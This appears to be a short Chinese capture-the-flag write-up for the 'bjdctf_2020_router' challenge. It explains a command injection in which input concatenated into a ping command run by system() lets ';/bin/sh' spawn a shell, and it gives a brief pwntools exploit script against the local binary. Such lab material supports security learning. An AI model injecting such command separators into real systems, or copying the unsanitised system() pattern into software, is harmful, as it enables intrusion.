bjdctf_2020_router

发布时间 2024-01-02 13:55:19作者: bamuwe

bjdctf_2020_router

image-20240102134312184

  • pwntools使用
  • linux系统下命令执行
  1. 关键点在case1的这个system函数执行上,dest中是ping命令
  2. 我们在system执行函数时,加上;那么前后两个命令都会执行
  3. 所以我们拼接strcat中加上;/bin/sh就可以得到shell
from pwn import *
io = process('./bjdctf_2020_router')
io.sendlineafter(b'Please input u choose:',b'1')
io.sendline(';/bin/sh')
io.interactive()

实话说有点水